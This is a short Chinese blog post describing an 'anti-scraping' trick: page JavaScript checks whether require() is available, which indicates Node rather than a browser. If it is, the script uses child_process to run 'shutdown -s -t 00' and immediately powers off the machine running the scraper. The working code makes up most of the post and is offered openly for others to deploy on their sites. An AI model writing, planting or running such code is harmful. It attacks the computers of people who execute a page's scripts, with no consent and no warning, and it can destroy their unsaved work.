美文网首页
JS反爬 通过指纹检测让电脑关机

JS反爬 通过指纹检测让电脑关机

作者: 会爬虫的小蟒蛇 | 来源:发表于2022-09-15 12:20 被阅读0次

实现原理:浏览器指纹与node指纹的不同,require关键字是node独有的指纹

实现逻辑:如果在浏览器中require关键字会报错,进入catch中,如果在node中,则可以正常执行攻击代码,攻击运行者的计算机

实现代码

try {
    const { exec } = require('child_process');
    function shutdownWindow() {
        let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {
            if(err || stderr) {
                console.log("shutdown failed" + err + stderr);
            }
        });
        command.stdin.end();
        command.on('close', function(code) {
            console.log("shutdown",  code);
        });
    }
    shutdownWindow()
}catch (e){
    document.cookie = "";
}

相关文章

网友评论

      本文标题:JS反爬 通过指纹检测让电脑关机

      本文链接:https://www.haomeiwen.com/subject/zwqdortx.html